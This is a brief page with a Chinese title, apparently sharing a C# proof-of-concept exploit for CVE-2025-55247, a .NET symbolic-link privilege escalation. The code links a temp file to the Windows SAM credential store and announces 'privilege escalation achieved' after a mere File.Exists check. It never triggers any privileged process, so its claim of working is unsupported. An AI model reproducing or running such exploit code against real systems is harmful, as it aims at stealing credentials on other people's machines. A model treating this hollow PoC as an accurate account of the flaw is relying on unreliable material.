CVE-2025-55247：.NET本地权限提升漏洞（链接解析不当）

// CVE-2025-55247 - .NET Link Following Privilege Escalation PoC // Vulnerability: Improper link resolution before file access in .NET // Type: Local Privilege Escalation via Symbolic Link Following using System; using System.IO; using System.Runtime.InteropServices; using System.Security.Principal; class Exploit { // P/Invoke for creating symbolic links [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] static extern bool CreateSymbolicLink(string lpSymlinkFileName, string lpTargetFileName, int dwFlags); // P/Invoke for checking token elevation status [DllImport("advapi32.dll", SetLastError = true)] static extern bool GetTokenInformation(IntPtr TokenHandle, int TokenInformationClass, ref int TokenInformation, int TokenInformationLength, out int ReturnLength); static void Main(string[] args) { Console.WriteLine("[*] CVE-2025-55247 .NET Link Following PoC"); Console.WriteLine("[*] Checking current privilege level..."); // Step 1: Check if we are running with elevated privileges WindowsIdentity identity = WindowsIdentity.GetCurrent(); WindowsPrincipal principal = new WindowsPrincipal(identity); bool isElevated = principal.IsInRole(WindowsBuiltInRole.Administrator); Console.WriteLine("[*] Current User: " + identity.Name); Console.WriteLine("[*] Is Elevated: " + isElevated); if (isElevated) { Console.WriteLine("[+] Already running as Administrator. Exiting."); return; } // Step 2: Identify a target file owned by a higher-privilege process // .NET runtime often accesses configuration files or DLLs with elevated privileges string targetFile = @"C:\Windows\System32\config\SAM"; // Example protected file string symlinkPath = Path.Combine(Path.GetTempPath(), "dotnet_link_target.tmp"); Console.WriteLine("[*] Target file: " + targetFile); Console.WriteLine("[*] Symlink path: " + symlinkPath); try { // Step 3: Create a symbolic link pointing to the protected file // SYMBOLIC_LINK_FLAG_DIRECTORY = 0x1, for files use 0x0 int SYMBOLIC_LINK_FLAG = 0x0; bool result = CreateSymbolicLink(symlinkPath, targetFile, SYMBOLIC_LINK_FLAG); if (result) { Console.WriteLine("[+] Symbolic link created successfully"); // Step 4: Trigger .NET to access the symlink // When .NET runtime processes this path, it follows the link // and accesses the target file with its own (potentially elevated) privileges if (File.Exists(symlinkPath)) { Console.WriteLine("[*] .NET resolved link and accessed target file"); Console.WriteLine("[+] Potential privilege escalation achieved"); } } else { int error = Marshal.GetLastWin32Error(); Console.WriteLine("[-] Failed to create symbolic link. Error: " + error); Console.WriteLine("[*] Note: Creating symlinks requires 'Create Symbolic Link' privilege"); Console.WriteLine("[*] Alternative: Use junction points or hard links"); } } catch (UnauthorizedAccessException ex) { Console.WriteLine("[-] Access denied: " + ex.Message); } catch (Exception ex) { Console.WriteLine("[-] Error: " + ex.Message); } // Step 5: Cleanup try { if (File.Exists(symlinkPath)) File.Delete(symlinkPath); } catch { } } }